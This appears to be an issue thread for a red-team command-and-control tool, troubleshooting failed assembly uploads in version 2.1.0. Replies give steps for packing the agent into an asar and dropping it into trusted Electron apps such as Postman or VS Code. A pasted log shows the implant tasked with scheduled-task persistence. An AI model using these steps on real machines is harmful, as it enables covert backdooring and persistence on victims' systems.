Bug in version 2.1.0

[0xP1ckl3d]

Hi, there appears to be a bug in version 2.1 where the upload of operator blobs is never confirmed complete.

Version 2.0:

Version 2.1:

As can be seen in the screenshots, the latest version never returns "[+] Completed uploading operator file to blob" and the assembly file never runs.

Really cool project by the way, well done.

[boku7]

Not sure what the problem is, I can't recreate on my side. What app are you running inside of?
I downloaded the client release 2.1.0 and did the obfuscate agent and put the app dir in cursor and its working fine for both BOF and assembly. I am running the client from windows 10, are you using Windows 11?

Try running the agent without obfuscation:

• download loki repo
• rename agent dir to app
• modify agent/config.js to match the config of your client
• then move app to an electron app, VS code or cursor
• click it and see if it still has the error

wondering if it has to do something with obfuscate-javascript breaking something?

Also is that beacon alive and other commands work after you execute those? Cause if the beacon is dead that is expected behavior since the client shows those messages.

Try running the Client by launching it from Powershell. There will be debug output and you can see if it gets a reply or not. The client polls the output channel until it gets the response back from the agent or times out.

[AZURE][UPLOAD] uploadSCToAzure() | StorageBlob : sc1a2876b3bb
[AZURE][UPLOAD] uploadSCToAzure() | filePath : C:/spaced folder/SharPersist.exe
[AZURE][UPLOAD] response true
agent.js | send-upload-command | agent_object : {"agentid":"u9fc23b6d46f372a","arch":"x64","container":"rde31d95a1","hostname":"SECURE","IP":["10.2.0.60","192.168.1.218"],"osRelease":"10.0.19045","osType":"Windows_NT","PID":7244,"platform":"win32","Process":"C:\\Users\\user\\Desktop\\app-11.42.4\\Postman.exe","username":"user","checkin":1747236765000,"tasks":[{"outputChannel":"o-8tczrtgadbc","uploadChannel":"u-q6o2oee7pul","command":"assembly sc1a2876b3bb -t schtask -c C:/Spaced\\ Folder/ADExplorer64.exe -n Test -m add -o hourly","taskid":"z2pk8jth60c"}],"aes":{"key":{"type":"Buffer","data":[]},"iv":{"type":"Buffer","data":[]}},"blobs":{"checkin":"c-f7327c45c02d","in":"i-v491c7ae03a4"},"links":"u9fc23b6d46f372a","mode":"egress"}
kernel.js :  IPC "upload-client-command-to-input-channel
Error reading blob o-8tczrtgadbc: Blob read failed: Empty response from o-8tczrtgadbc
Error reading blob o-8tczrtgadbc: Blob read failed: Empty response from o-8tczrtgadbc
Error reading blob o-8tczrtgadbc: Blob read failed: Empty response from o-8tczrtgadbc
[KERNEL][IPC] command-output :
[*] INFO: Adding scheduled task persistence
[*] INFO: Command: C:/Spaced Folder/ADExplorer64.exe
[*] INFO: Command Args:
[*] INFO: Scheduled Task Name: Test
[*] INFO: Option: hourly

[-] ERROR: Scheduled task with that name already exists.

[boku7]

just tried it on a new windows 10 box and it works. Idk

[boku7]

[susMdT]

I didn't have any issues either. For reference, my steps:

1. Cloned the repo
2. cd into /client directory, then npm run start
3. from the repo root,node .\create_agent_payload.js
4. packed the agent into an asar asar pack ./app app.asar
5. dropped asar into target app and ran app
6. ran assembly fine

if you follow these steps, do you still have the same issue?